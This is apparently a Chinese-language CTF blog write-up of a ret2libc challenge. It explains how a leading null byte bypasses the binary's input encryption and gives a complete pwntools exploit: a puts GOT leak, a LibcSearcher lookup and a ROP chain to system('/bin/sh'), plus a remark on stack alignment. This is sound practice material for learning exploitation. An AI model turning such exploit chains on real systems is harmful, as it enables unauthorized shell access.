虽然最近的ret2libc的做题基本一致(毕竟类型都是ret2libc嘛),但是对于本蒟蒻现阶段来说,还是有必要记录一下的
前言
持续巩固ret2libc的做题范式/基本套路能力,同时也发现,reverse与pwn密不可分的联系。
一、题目重述
encrypt()存在栈溢出漏洞,同时程序不存在system或者'/bin/sh'
典型的ret2libc
二、解题过程
1.代码理解
程序要求必须选择encrypt否则死循环/“报错”。而encrypt中存在栈溢出漏洞。
encrypt中,对于输入的字符串,通过检测长度,来对每一个字符进行encrypt,建立映射关系。
思路一:构造合适的payload,使得我们用于攻击的部分代码,经过encrypt恰好变成有用的payload
——真的是这样吗,那我们的任务量将被大大增大
这是很直接的想法——对粗线条的我来说是这样的。
然而实际上我们关注的是放到栈中的内容, 尽可能不让程序修改这些构造好的payload——字符串的结束标识符是'\x0',那我们一开始就传入一个“空串",后面再跟上我们的payload,那么对于字符串加密的部分,就只会作用于空串——实际上不修改这串payload的任何部分。
为什么一开始我不选择这样做呢?因为我害怕send在'\x0'处截断——萌新的可爱之处。
不过如果我们关注溢出漏洞函数的细微差别——gets读取屏幕缓冲区的一行字符串,那么\x0及之后的内容也是可以被读入的。(是这样吧?)
思路二:开头用'\x00'来绕过对payload的encrypt,然后正常进行溢出操作
2.exp
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
elf=ELF("./pwn")
io=remote("node2.anna.nssctf.cn",28264)
io.sendlineafter('choice!',b'1')
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
pop_rdi=0x400c83
encrypt_addr=0x4009a0
ret_addr=0x4006b9
payload=b'\x00'+b'a'*(0x50-0x1)+b'a'*8
payload+=p64(pop_rdi)+p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(encrypt_addr)
io.sendlineafter('encrypted',payload)
puts_real=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00"))
from LibcSearcher import *
libc=LibcSearcher('puts',puts_real)
libc_base=puts_real-libc.dump("puts")
system_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump("str_bin_sh")
#io.sendlineafter(b'choice!\n',b'1')
payload=b'\x00'+b'a'*0x57
payload+=p64(ret_addr)+p64(pop_rdi)+p64(bin_sh)
payload+=p64(system_addr)
io.sendlineafter('encrypted',payload)
io.interactive()
3.注意点
如果注意到第二个payload中的ret,会不会有疑问呢?
其实这是因为system被调用时,其中有一个汇编指令,要求栈顶16字节对齐,而我们为了能够正常执行跳转,又需要栈能够调整其高度,就可以通过ret+ret+...+addr的方式,这样首先是调整了输入的个数,其次ret到下一个ret,反复执行实则是“空转”,相当于pop了当前的栈元素,不起到任何其他作用。最后还是跳到了addr的位置。
总结
【PWN · ret2libc】[2021 鹤城杯]babyof_Mr_Fmnwon的博客-CSDN博客
这篇博客ret2libc的细节比较多,且这两个题目完全相似。